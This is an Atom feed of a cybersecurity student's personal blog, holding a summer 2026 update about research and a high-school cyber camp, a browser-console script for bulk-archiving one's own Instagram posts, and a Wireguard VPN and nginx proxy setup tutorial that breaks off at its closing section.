<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:base="https://ericiniguez.com/">
  <title>Eric Iniguez</title>
  <subtitle>Leveraging my strengths across multiple disciplines with the ultimate goal of increasing upward social mobility and quality of life for all in a self-sustaining manner. PhD student in Cyber Studies and Researcher at Oklahoma Cyber Innovation Institute with a focus in AI, Cybersecurity, Education, and Robotics.</subtitle>
  <link href="https://ericiniguez.com/feed.xml" rel="self"/>
  <link href="https://ericiniguez.com/"/>
  <id>https://ericiniguez.com/</id>
  <updated>2026-07-26T22:22:00-05:00</updated>
  <author><name>Eric Iniguez</name></author>
  <entry>
    <title>Research Papers, Cyber Summer Camp, Local Business Hacking, or: Eric&#x27;s Summer 2026 Update</title>
    <link href="https://ericiniguez.com/blog/summer-2026-update/"/>
    <id>https://ericiniguez.com/blog/summer-2026-update/</id>
    <updated>2026-07-26T22:22:00-05:00</updated>
    <summary>My blog hasn’t been updated in a while (oh… three years???) and I wanted to take a moment and update you all on what I’ve been up to this Summer of 2026.</summary>
    <content type="html" xml:base="https://ericiniguez.com/blog/summer-2026-update/">&lt;p&gt;My blog hasn’t been updated in a while (oh… three years???) and I wanted to take a moment and update you all on what I’ve been up to this Summer of 2026.&lt;/p&gt;
&lt;div class=&quot;heading heading-2&quot;&gt;&lt;h2 id=&quot;my-first-research-papers&quot;&gt;My First Research Papers&lt;/h2&gt;&lt;a class=&quot;anchor&quot; href=&quot;#my-first-research-papers&quot; aria-label=&quot;Link to section: My First Research Papers&quot;&gt;#&lt;/a&gt;&lt;/div&gt;
&lt;p&gt;Two years into my PhD, I have completed my pre-candidacy and submitted my first research paper as primary author. Coincidentally, on the same day, my first research paper as co-author was accepted! Since both papers have yet to be officially published, I will hold off on sharing details. My first paper as co-author is related to robotics, cybersecurity, and machine learning. My first paper as primary author is related to critical infrastructure, cybersecurity, and economics.&lt;/p&gt;
&lt;p&gt;I am very grateful to my professors and peers at my university for collaborating with me on these papers. These experiences have taught me that research and academic writing are entire skill set of their own. To successfully produce a research paper you need to learn how to digest others’ research, organize yourself, communicate your findings, and discipline yourself to sit down and do work that can, in the moment, feel tedious or fruitless. It takes practice and experience, just like any other skill you want to learn. This is why it is important to ask for help from others so you can absorb the experience they’ve gained by going through similar challenges.&lt;/p&gt;
&lt;p&gt;All in all, the process of seeking a question yet to be answered and calling upon the research of other academics’ taught me the true value of academia and the scientific method. Every paper, grand or minuscule, is a contribution to humanity’s collective understanding of what is possible and how the world works. Though the process can be arduous, it is necessary to ensure that our work is reproducible and accelerates our understanding of what we can achieve. Reading papers is absorbing our collective understanding, performing research is expanding that understanding, and writing papers is providing shoulders for others to stand on.&lt;/p&gt;
&lt;div class=&quot;heading heading-2&quot;&gt;&lt;h2 id=&quot;making-activities-and-shirts-for-cyber-summer-camp&quot;&gt;Making Activities and Shirts for Cyber Summer Camp&lt;/h2&gt;&lt;a class=&quot;anchor&quot; href=&quot;#making-activities-and-shirts-for-cyber-summer-camp&quot; aria-label=&quot;Link to section: Making Activities and Shirts for Cyber Summer Camp&quot;&gt;#&lt;/a&gt;&lt;/div&gt;
&lt;p&gt;Oklahoma Cyber Innovation Institute (OCII) hosted their second annual Cyber Summer Camp for high schoolers this year. Last year I got to lead TryHackMe workshops and create Cybersecurity activities for students with Micro:Bit handheld computers. This year, I had the opportunity to create an Operational Technology (OT) Security activity, a Radio-Frequency (RF) Engineering activity, as well as design and order T-Shirts for everyone!&lt;/p&gt;
&lt;div class=&quot;heading heading-3&quot;&gt;&lt;h3 id=&quot;ot-security-activity&quot;&gt;OT Security Activity&lt;/h3&gt;&lt;a class=&quot;anchor&quot; href=&quot;#ot-security-activity&quot; aria-label=&quot;Link to section: OT Security Activity&quot;&gt;#&lt;/a&gt;&lt;/div&gt;
&lt;p&gt;Using training workstations equipped with Micro850 Programmable Logic Controllers (PLCs) and various electronic components modules, my co-workers and I made an activity in which students got to connect wires for a PLC, see PLCs be programmed with Ladder Logic, and manipulate the PLC over the MODBUS protocol using a Python script and the pymodbus library.&lt;/p&gt;
&lt;p&gt;For this activity, we placed the students in the role of OT Technicians who were called in because first-responders were having trouble changing traffic lights in emergencies. With PLC workstations configured to behave like traffic light systems, students learned how critical infrastructure often depends upon PLCs to dictate how signals are sent and received between important machinery. Whether its the lights at an intersection, public water cleaning systems, power plants, oil refineries, or manufacturing, the difference between you having a good day and a bad day is PLCs being kept up and running as intended. Students learned first-hand how even one improperly connected wire could prevent power from being sent to the rest of the system. With ladder logic, they saw how OT Technicians use visual rung diagrams to configure the operation of sensors and machinery. In writing python MODBUS scripts, the students witnessed how the traffic lights could be arbitrarily controlled by a few lines of code. With this experience, students have a deeper understanding of how, without proper security, nothing is stopping malicious actors from seizing control of critical infrastructure and inflicting harm onto those who depend on it.&lt;/p&gt;
&lt;div class=&quot;heading heading-3&quot;&gt;&lt;h3 id=&quot;rf-engineering-activity&quot;&gt;RF Engineering Activity&lt;/h3&gt;&lt;a class=&quot;anchor&quot; href=&quot;#rf-engineering-activity&quot; aria-label=&quot;Link to section: RF Engineering Activity&quot;&gt;#&lt;/a&gt;&lt;/div&gt;
&lt;p&gt;With aluminum foil and Micro:Bits’ Bluetooth communication, we taught students about how radio waves are tangible and can be interacted with using something you might find in your kitchen! I wanted the kids to step away from the keyboards and touch grass while still learning something exciting about how the signals that are present in their everyday lives. After a lesson on the electromagnetic spectrum and radio waves, the students partner up and program their Micro:Bits to broadcast secret numbers over Bluetooth Low Energy (BLE). When their partners’ Micro:Bits receive their shared secret number, the devices play a custom melody they set. After a programming session filled with the chaotic harmony of 30 different chiptunes in the classroom, we explain the rest of the activity and head outside giving each student a whiteboard and a square foot of aluminum foil.&lt;/p&gt;
&lt;p&gt;Outside in a big, open field, students conduct a series of experiments to find the maximum distances their Micro:Bits can communicate when the sending and receiving Micro:Bits are in different configurations: without the foil sheet, with the foil sheet behind the Micro:Bit, and with the foil sheet wrapped around the Micro:Bit. After conducting experiments and documenting their observations, the students start noticing differences in how the aluminum foil configurations affect the distance that the signal can be sent and received.&lt;/p&gt;
&lt;p&gt;What made me especially happy was seeing the students create experiments and hypotheses of their own. For example, some tried seeing how different shapes of foil affected the signal, and some found that standing next to a metal pole appeared to increase the broadcast distance.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/blog/summer-2026-update/boxplot.png&quot; alt=&quot;Worksheet listing nine sender/receiver foil configurations for the Micro:Bit radio tests, next to a box plot of average max distance per test: tests 1, 2, 4, 5 and 6 reach roughly 200–300 ft, while tests 3, 7, 8 and 9, with a receiver or sender fully wrapped in foil, stay under about 70 ft&quot;&gt;&lt;/p&gt;
&lt;p&gt;After the activity was over, I collected everyone’s observations and used a Jupyter Notebook to create a box plot as a visualization their research! The students got to experience first hand how radio frequencies can be engineered and how, just like Adam Savage said, “the only difference between screwing around and science is writing it down.”&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/blog/summer-2026-update/adam-savage.png&quot; alt=&quot;Adam Savage holding a clipboard, with the caption &amp;quot;Remember, kids, the only difference between screwing around and science is writing it down.&amp;quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;On a side note, aluminum foil RF hacking really can be useful! Back in my first year of college, I could hardly get any Wi-Fi signal in my dorm. Inspired by&lt;/em&gt; &lt;a href=&quot;https://www.youtube.com/watch?v=5qTSoCzp-LY&quot;&gt;&lt;em&gt;Elliot Alderson in Season 2, Episode 9 of Mr. Robot&lt;/em&gt;&lt;/a&gt;&lt;em&gt;, I took an empty Pringles can (obtained for scientific reasons), cut a hole in the cardboard siding and inserted the remains of a USB Wi-Fi adapter to have the bottom aluminum plate act as a mini-satellite dish for Wi-Fi signals. When I stuck the cantenna out of my dorm’s window, I was able to drastically improve the Wi-Fi signal connection and enjoyed the Internet while my dorm neighbors groaned from having to use Ethernet.&lt;/em&gt;&lt;/p&gt;
&lt;div class=&quot;heading heading-3&quot;&gt;&lt;h3 id=&quot;you-get-a-t-shirt-and-you-get-a-t-shirt&quot;&gt;You get a T-shirt, and you get a T-shirt!&lt;/h3&gt;&lt;a class=&quot;anchor&quot; href=&quot;#you-get-a-t-shirt-and-you-get-a-t-shirt&quot; aria-label=&quot;Link to section: You get a T-shirt, and you get a T-shirt!&quot;&gt;#&lt;/a&gt;&lt;/div&gt;
&lt;p&gt;I don’t just do STEM nerd things, I also do art nerd things! I had the opportunity to design and order t-shirts again for this year’s Cyber Summer Camp. I start off by pitching design ideas on pen and paper to my coworkers. Once there’s an idea with strong approval, I make mock-up variations of the idea in vector-drawing programs Inkscape and Adobe Illustrator. After multiple rounds of feedback and revisions, I have a vector file designed to use the least amount of colors while still looking great. By making the vector file ourselves, we can work with a local printmaker and we won’t strain their designers as much since the design is almost production ready and just needs to be tweaked for their particular printing arrangements. This saves us money by reducing the amount of hours the printmaker designers need to produce the final design, and by limiting the amount of colors we reduce the amount of inks needed to create the print. Finally, I request quotes from local printmakers using our design, discuss the details with them, and find the best printmaker to produce our design. All together, we save money and get a quicker turn around on shirts while making the printmakers’ lives easier.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/blog/summer-2026-update/cyber-camp-shirt-2025.png&quot; alt=&quot;White 2025 camp T-shirt with the OCII and University of Tulsa logos, &amp;quot;Cyber Camp Summer 2025&amp;quot; in blue blocky lettering, and rows of binary underneath&quot;&gt;&lt;/p&gt;
&lt;p&gt;Last year’s camp shirt was a simple, single-color text-based design that used cyberpunk aesthetics and binary text to create a clean, fun, and engaging T-shirt that captures our camp’s sense in fun with cybersecurity activities.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/blog/summer-2026-update/2026-frontback-goose-honk-v4-simpler.png&quot; alt=&quot;Front and back of the 2026 camp T-shirt: the front has the OCII and University of Tulsa logos above a dithered blue robot dog; the back has a white goose honking &amp;quot;Cyber Camp Summer 2026&amp;quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;This year’s camp shirt was a three-color design that featured OCII’s logo and a dithered, standing Unitree Go2 robot dog from last year’s photos on the front. On the back is a mischievous (and some might say entitled) cyber goose shouting “Cyber Summer Camp 2026”. The front’s dithered robot dog provides an interesting, cyber-themed visual of a robot we feature in our work while showcasing our logo to identify ourselves on the shirt. The back’s goose design captures the lighthearted, chaotic nature of cybersecurity and curiosity that drives our field. Simultaneously, the silly goose helps contrast from the typical grimy, cyberpunk imagery that tends to be associated with cybersecurity. Cybersecurity is for everyone, and you can enjoy cybersecurity even if you don’t see yourself in the edgy, black-hoodie hacker imagery. With an odd-looking robot dog and a fun-looking goose, our 2026 shirt captures the curiosity and intrigue of those familiar and unfamiliar with cybersecurity.&lt;/p&gt;
&lt;div class=&quot;heading heading-3&quot;&gt;&lt;h3 id=&quot;tulsa-tech-week&quot;&gt;Tulsa Tech Week&lt;/h3&gt;&lt;a class=&quot;anchor&quot; href=&quot;#tulsa-tech-week&quot; aria-label=&quot;Link to section: Tulsa Tech Week&quot;&gt;#&lt;/a&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href=&quot;https://afrotech.com/tariqua-tai-nehisi-launching-tulsa-tech-week&quot;&gt;Tech Tai&lt;/a&gt; of &lt;a href=&quot;https://www.tulsatechweek.ai/&quot;&gt;Tulsa Tech Week&lt;/a&gt; and &lt;a href=&quot;https://www.okctechweek.ai/&quot;&gt;OKC Tech Week&lt;/a&gt; visited our Cyber Summer Camp and interviewed us! It was great to meet her, she’s a very awesome person with lots of experience and wisdom who’s doing great things by broadcasting the tech communities and opportunities in Tulsa and Oklahoma City. Check our her and her team’s websites for links to their social media!&lt;/p&gt;
&lt;div class=&quot;heading heading-2&quot;&gt;&lt;h2 id=&quot;hacking-a-local-business&quot;&gt;Hacking a Local Business&lt;/h2&gt;&lt;a class=&quot;anchor&quot; href=&quot;#hacking-a-local-business&quot; aria-label=&quot;Link to section: Hacking a Local Business&quot;&gt;#&lt;/a&gt;&lt;/div&gt;
&lt;p&gt;If they give me permission to share a redacted copy of the report I gave them, I would like to upload it here. Out of respect for their privacy, all I will say is I received permission to perform a pro bono security audit of a local business’s Wi-Fi network. I wrote them a report on findings and recommendations, then had the opportunity to help them apply my recommendations.&lt;/p&gt;
&lt;div class=&quot;heading heading-2&quot;&gt;&lt;h2 id=&quot;whats-next&quot;&gt;What’s Next&lt;/h2&gt;&lt;a class=&quot;anchor&quot; href=&quot;#whats-next&quot; aria-label=&quot;Link to section: What’s Next&quot;&gt;#&lt;/a&gt;&lt;/div&gt;
&lt;p&gt;This has been an amazing journey so far. I will continue being a PhD student working on OT Security Education at OCII, wrap up my courses, and progress my pre-candidacy paper into my thesis. I’m looking forward to sharing what happens next with you all!&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Instagram Mass Archive/Delete</title>
    <link href="https://ericiniguez.com/blog/instagram-mass-archive-delete/"/>
    <id>https://ericiniguez.com/blog/instagram-mass-archive-delete/</id>
    <updated>2023-02-14T15:10:39-06:00</updated>
    <summary>If you would like to archive or delete all of your Instagram posts without having to go through every single one of your posts manually, then I have found a…</summary>
    <content type="html" xml:base="https://ericiniguez.com/blog/instagram-mass-archive-delete/">&lt;p&gt;If you would like to archive or delete all of your Instagram posts without having to go through every single one of your posts manually,
then I have found a solution!&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Navigate to “Photos and Videos” in the Instagram web app, which can be found
at https://www.instagram.com/your_activity/photos_and_videos/posts/&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Click “Select” in the top right of the window&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Make sure to scroll all the way down through all your posts so they are all loaded in&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Open your web console (Right click webpage, select “Inspect Element”, select “Console” tab)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Paste in the following code and press Enter&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;pre tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;async function selectAllPosts(){
    // Selects all the post images
    posts = document.querySelectorAll(&#x27;[data-bloks-name=&amp;quot;bk.components.Image&amp;quot;]&#x27;);
    
    var i = 0;
    while( i &amp;lt; posts.length &amp;amp;&amp;amp;  i &amp;lt;= 100 ){
        // We use the click function contained in the 3rd parent element
        // of each image to select each post
        posts[i].parentElement.parentElement.parentElement.click();

        // Wait 1ms between each selection to allow it to be recognized
        await new Promise(resolve =&amp;gt; setTimeout(resolve, 1));

        i++;
    }
}
selectAllPosts(); 
&lt;/code&gt;&lt;/pre&gt;
&lt;ol start=&quot;6&quot;&gt;
&lt;li&gt;Since you can only select 100 posts at a time, you will need to click “archive” or “delete” once 100 are selected, then repeat Step 5 until all your posts are archived or deleted.&lt;/li&gt;
&lt;/ol&gt;
</content>
  </entry>
  <entry>
    <title>Wireguard VPN and NGINX Reverse Proxy</title>
    <link href="https://ericiniguez.com/blog/wireguard-vpn/"/>
    <id>https://ericiniguez.com/blog/wireguard-vpn/</id>
    <updated>2022-03-23T22:00:14-05:00</updated>
    <summary>The following is a tutorial describing the steps to create and connect to your own Wireguard VPN server using DigitalOcean’s cloud infrastructure.</summary>
    <content type="html" xml:base="https://ericiniguez.com/blog/wireguard-vpn/">&lt;p&gt;The following is a tutorial describing the steps to create and connect to your
own Wireguard VPN server using DigitalOcean’s cloud infrastructure.&lt;/p&gt;
&lt;p&gt;Sensitive information has been obscured with black boxes in the screenshots.&lt;/p&gt;
&lt;div class=&quot;heading heading-2&quot;&gt;&lt;h2 id=&quot;step-1-create-a-digitalocean-account&quot;&gt;Step 1 - Create a DigitalOcean Account&lt;/h2&gt;&lt;a class=&quot;anchor&quot; href=&quot;#step-1-create-a-digitalocean-account&quot; aria-label=&quot;Link to section: Step 1 - Create a DigitalOcean Account&quot;&gt;#&lt;/a&gt;&lt;/div&gt;
&lt;p&gt;DigitalOcean is a cloud infrastructure provider that will allow us to create
a virtual machine hosted in a DigitalOcean data center that we can access
through the internet.&lt;/p&gt;
&lt;div class=&quot;heading heading-2&quot;&gt;&lt;h2 id=&quot;step-2-create-a-digitalocean-droplet&quot;&gt;Step 2 - Create a DigitalOcean Droplet&lt;/h2&gt;&lt;a class=&quot;anchor&quot; href=&quot;#step-2-create-a-digitalocean-droplet&quot; aria-label=&quot;Link to section: Step 2 - Create a DigitalOcean Droplet&quot;&gt;#&lt;/a&gt;&lt;/div&gt;
&lt;p&gt;In your home menu, you should see a “Create” button in the top right corner.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Click the “Create” button and then click the “Droplets” item that appears.&lt;/li&gt;
&lt;li&gt;You should have been taken to a new menu to craft your new Droplet.&lt;/li&gt;
&lt;li&gt;For Image, choose the latest Ubuntu LTS distribution. At the time of writing, this would be Ubuntu 20.04 LTS x64&lt;/li&gt;
&lt;li&gt;Choose the Basic plan&lt;/li&gt;
&lt;li&gt;Choose “Regular Intel with SSD”, or the least expensive CPU option.&lt;/li&gt;
&lt;li&gt;Choose the option with “$5/mo”, or the least expensive plan.&lt;/li&gt;
&lt;li&gt;Select a datacenter region for your Droplet, ideally the datacenter closest to you. I will be choosing San Francisco 3.&lt;/li&gt;
&lt;li&gt;For Authentication, choose “SSH keys” if you already have SSH keys set up on your personal machine.
&lt;ol&gt;
&lt;li&gt;Add your SSH Key to the Authentication menu.&lt;/li&gt;
&lt;li&gt;If you don’t have SSH keys set up already, choose “Password”. This will be less secure but will make the process easier.&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;Change the hostname of your Droplet if you’d like.
&lt;ul&gt;
&lt;li&gt;For the scope of our task, the hostname mostly serves to help easily identify the Droplet but should not impact any other part of this task.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Click “Create Droplet” to create your new Droplet!&lt;/li&gt;
&lt;li&gt;You can access your Droplet by selecting it from the droplets list of your DigitalOcean project.&lt;/li&gt;
&lt;li&gt;In the upper right menu options, click “Console” to open an SSH console in your new Droplet virtual machine!&lt;/li&gt;
&lt;/ol&gt;
&lt;div class=&quot;heading heading-2&quot;&gt;&lt;h2 id=&quot;step-3-install-docker&quot;&gt;Step 3 - Install Docker&lt;/h2&gt;&lt;a class=&quot;anchor&quot; href=&quot;#step-3-install-docker&quot; aria-label=&quot;Link to section: Step 3 - Install Docker&quot;&gt;#&lt;/a&gt;&lt;/div&gt;
&lt;p&gt;First, update your Droplet’s package list to make sure you can get the latest version of Docker.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;sudo apt update&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Now, install Docker and docker-compose&lt;/p&gt;
&lt;p&gt;&lt;code&gt;sudo apt install docker docker-compose&lt;/code&gt;&lt;/p&gt;
&lt;div class=&quot;heading heading-2&quot;&gt;&lt;h2 id=&quot;step-4-install-wireguard-using-docker-compose&quot;&gt;Step 4 - Install Wireguard using &lt;code&gt;docker-compose&lt;/code&gt;&lt;/h2&gt;&lt;a class=&quot;anchor&quot; href=&quot;#step-4-install-wireguard-using-docker-compose&quot; aria-label=&quot;Link to section: Step 4 - Install Wireguard using docker-compose&quot;&gt;#&lt;/a&gt;&lt;/div&gt;
&lt;p&gt;The following instructions are based off of the documentation for linuxserver.io’s wireguard docker image,
which can be found here: &lt;a href=&quot;https://github.com/linuxserver/docker-wireguard&quot;&gt;https://github.com/linuxserver/docker-wireguard&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Using your preferred command line text editor, create a file named &lt;code&gt;docker-compose.yml&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;For this example, we will use the &lt;code&gt;nano&lt;/code&gt; text editor.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;nano docker-compose.yml&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;With the file open in &lt;code&gt;nano&lt;/code&gt; paste the following in:&lt;/p&gt;
&lt;pre tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-yml&quot;&gt;---
version: &amp;quot;2.1&amp;quot;
services:
  wireguard:
    image: lscr.io/linuxserver/wireguard
    container_name: wireguard
    cap_add:
      - NET_ADMIN
      - SYS_MODULE
    environment:
      - PUID=1000
      - PGID=1000
      - TZ=America/Chicago
      - PEERS=1 #optional
      - PEERDNS=auto #optional
      - INTERNAL_SUBNET=10.13.13.0 #optional
      - ALLOWEDIPS=0.0.0.0/0 #optional
    volumes:
      - /path/to/appdata/config:/config
      - /lib/modules:/lib/modules
    ports:
      - 51820:51820/udp
    sysctls:
      - net.ipv4.conf.all.src_valid_mark=1
    restart: unless-stopped
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You can change the &lt;code&gt;TZ&lt;/code&gt; field to be your timezone.
In my case, I will use the United States’ Chicago timezone by specifying &lt;code&gt;America/Chicago&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Enter &lt;code&gt;ctrl+x&lt;/code&gt; to exit the &lt;code&gt;nano&lt;/code&gt; text editor. Press &lt;code&gt;y&lt;/code&gt; to say yes to saving the file.&lt;/p&gt;
&lt;p&gt;Run your &lt;code&gt;docker-compose.yml&lt;/code&gt; file with:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;sudo docker-compose up -d&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;This composes a docker container as specified in the &lt;code&gt;docker-compose.yml&lt;/code&gt; file.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;sudo&lt;/code&gt; allows us to run the compose command with super user privileges to be
able to access system resources that may need super user authorization.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;-d&lt;/code&gt; flag allows us to run the container in the background as a daemon, so that
we can continue to use our Droplet console.&lt;/p&gt;
&lt;p&gt;Congrats! You now have a Wireguard VPN server running in your Droplet.
Proceed to the next section to start using your new VPN.&lt;/p&gt;
&lt;div class=&quot;heading heading-2&quot;&gt;&lt;h2 id=&quot;step-5-test-vpn-connection&quot;&gt;Step 5 - Test VPN Connection&lt;/h2&gt;&lt;a class=&quot;anchor&quot; href=&quot;#step-5-test-vpn-connection&quot; aria-label=&quot;Link to section: Step 5 - Test VPN Connection&quot;&gt;#&lt;/a&gt;&lt;/div&gt;
&lt;p&gt;From your Droplet console, open a shell in your wireguard docker container using:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;sudo docker exec -it wireguard bash&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Change to the wireguard server’s configuration directory:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;cd /config&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Read the tunnel configuration file for peer1:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;cat peer1/peer1.conf&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Copy the output of the &lt;code&gt;cat&lt;/code&gt; command we just ran. We will be pasting this into a
tunnel configuration file on our client.&lt;/p&gt;
&lt;p&gt;Download and install a wireguard client for your computer from &lt;a href=&quot;https://download.wireguard.com&quot;&gt;https://download.wireguard.com&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;In the bottom left corner of your wireguard client window, select the drop-down menu option
“Add empty tunnel…”&lt;/p&gt;
&lt;p&gt;Select all of the text in the file that appears and paste in the contents of the &lt;code&gt;peer1.conf&lt;/code&gt; file.&lt;/p&gt;
&lt;p&gt;Give your tunnel a name and select “Save” to save your new tunnel to your client.&lt;/p&gt;
&lt;p&gt;Select your new tunnel and click “Activate” to activate the tunnel to your Wireguard VPN server.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/blog/wireguard-vpn/lab3-tunnel-gui.png&quot; alt=&quot;Screenshot of the Wireguard Client GUI&quot;&gt;&lt;/p&gt;
&lt;p&gt;In a web browser, navigate to &lt;a href=&quot;https://ipleak.net&quot;&gt;https://ipleak.net&lt;/a&gt; to see information about your IP address.&lt;/p&gt;
&lt;p&gt;If your tunnel is activated, you should be seeing the public IPv4 IP address of your DigitalOcean Droplet.
With our tunnel configuration, our computer’s internet traffic is routed through our DigitalOcean Droplet,
so our presence online is as though we connect to the internet from our Droplet and not the modem of your
Internet Service Provider (ISP).&lt;/p&gt;
&lt;p&gt;Because my Droplet is located in DigitalOcean’s NYC-1 region datacenter, my IP location is in New Jersey.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/blog/wireguard-vpn/lab3-droplet-ip.png&quot; alt=&quot;Screenshot of the Droplet IP&quot;&gt;&lt;/p&gt;
&lt;p&gt;If your tunnel is deactivated, you should be seeing your original public IPv4 IP address as assigned
to you by your modem connected to your Internet Service Provider.&lt;/p&gt;
&lt;p&gt;Because I’m currently in Oklahoma, ipleak.net tells me that my original IP address is located in Oklahoma.
Because I personally set my DNS servers to Cloudflare’s &lt;code&gt;1.1.1.1&lt;/code&gt;, ( More info at &lt;a href=&quot;https://1.1.1.1&quot;&gt;https://1.1.1.1&lt;/a&gt; ), ipleak.net
says that my DNS addresses are in Texas at one of Cloudflare’s datacenters.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/blog/wireguard-vpn/lab3-tulsa-ip.png&quot; alt=&quot;Screenshot of Tulsa IP&quot;&gt;&lt;/p&gt;
&lt;div class=&quot;heading heading-2&quot;&gt;&lt;h2 id=&quot;bonus-port-routing-shenanigans-reverse-proxy&quot;&gt;BONUS - Port Routing Shenanigans ( Reverse Proxy )&lt;/h2&gt;&lt;a class=&quot;anchor&quot; href=&quot;#bonus-port-routing-shenanigans-reverse-proxy&quot; aria-label=&quot;Link to section: BONUS - Port Routing Shenanigans ( Reverse Proxy )&quot;&gt;#&lt;/a&gt;&lt;/div&gt;
&lt;p&gt;Let’s say you want to connect to your VPN but your network blocks unusual ports like
Wireguard’s 51820. You can change your VPN port to be a more common like the HTTP protocol’s port 80.&lt;/p&gt;
&lt;p&gt;Without further configuring your docker container, you can use your Droplet to route between its ports.&lt;/p&gt;
&lt;p&gt;Using the &lt;code&gt;nginx&lt;/code&gt; webserver, we can listen on any arbitrary port like port 80 and re-route traffic on port 80 to the Droplet’s port 51820.&lt;/p&gt;
&lt;div class=&quot;heading heading-3&quot;&gt;&lt;h3 id=&quot;install-nginx&quot;&gt;Install nginx&lt;/h3&gt;&lt;a class=&quot;anchor&quot; href=&quot;#install-nginx&quot; aria-label=&quot;Link to section: Install nginx&quot;&gt;#&lt;/a&gt;&lt;/div&gt;
&lt;p&gt;Download and install the latest version of nginx to your Droplet&lt;/p&gt;
&lt;p&gt;&lt;code&gt;sudo apt update -y &amp;amp;&amp;amp; sudo apt install -y nginx&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Make sure your &lt;code&gt;nginx&lt;/code&gt; webserver is running by running:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;sudo systemctl start nginx&lt;/code&gt;&lt;/p&gt;
&lt;div class=&quot;heading heading-3&quot;&gt;&lt;h3 id=&quot;configure-your-nginx&quot;&gt;Configure your nginx&lt;/h3&gt;&lt;a class=&quot;anchor&quot; href=&quot;#configure-your-nginx&quot; aria-label=&quot;Link to section: Configure your nginx&quot;&gt;#&lt;/a&gt;&lt;/div&gt;
&lt;p&gt;Open &lt;code&gt;/etc/nginx/nginx.conf&lt;/code&gt; with super user privileges in your preferred text editor.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;sudo nano /etc/nginx/nginx.conf&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Right after the line that reads &lt;code&gt;stream{&lt;/code&gt;, add the following code block:&lt;/p&gt;
&lt;pre tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;server {
    listen 80 udp;
    proxy_pass 127.0.0.1:51820;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Enter &lt;code&gt;ctrl+x&lt;/code&gt; and &lt;code&gt;y&lt;/code&gt; to save and quit &lt;code&gt;nano&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Test your &lt;code&gt;nginx&lt;/code&gt; config file by running:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;sudo nginx -t&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;This should return successful, otherwise, you will need to debug your &lt;code&gt;/etc/nginx/nginx.conf&lt;/code&gt; file.&lt;/p&gt;
&lt;p&gt;Reload your &lt;code&gt;nginx&lt;/code&gt; web server.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;sudo nginx -s reload&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;We just configured the &lt;code&gt;nginx&lt;/code&gt; to listen for UDP connections on the Droplet’s port 80,
then to pass those connection to the Droplet’s port 51820.&lt;/p&gt;
&lt;div class=&quot;heading heading-3&quot;&gt;&lt;h3 id=&quot;connect-to-your-vpn-through-port-80&quot;&gt;Connect to your VPN through Port 80&lt;/h3&gt;&lt;a class=&quot;anchor&quot; href=&quot;#connect-to-your-vpn-through-port-80&quot; aria-label=&quot;Link to section: Connect to your VPN through Port 80&quot;&gt;#&lt;/a&gt;&lt;/div&gt;
&lt;p&gt;Edit your computer’s tunnel configuration file to use Port 80 by changing the number 51820 to 80
after the colon in the endpoint address field.&lt;/p&gt;
&lt;p&gt;Activate your tunnel to connect to your VPN over port 80.&lt;/p&gt;
&lt;p&gt;Congrats! Your network should be seeing that your computer has a connection on port 80, appearing as though you are browsing the internet with the HTTP protocol. In reality, you are connecting to a VPN to encrypt your computer’s network traffic.&lt;/p&gt;
&lt;div class=&quot;heading heading-3&quot;&gt;&lt;h3 id=&quot;reverse-proxy-closing-thoughts&quot;&gt;Reverse Proxy - Closing Thoughts&lt;/h3&gt;&lt;a class=&quot;anchor&quot; href=&quot;#reverse-proxy-closing-thoughts&quot; aria-label=&quot;Link to section: Reverse Proxy - Closing Thoughts&quot;&gt;#&lt;/a&gt;&lt;/div&gt;
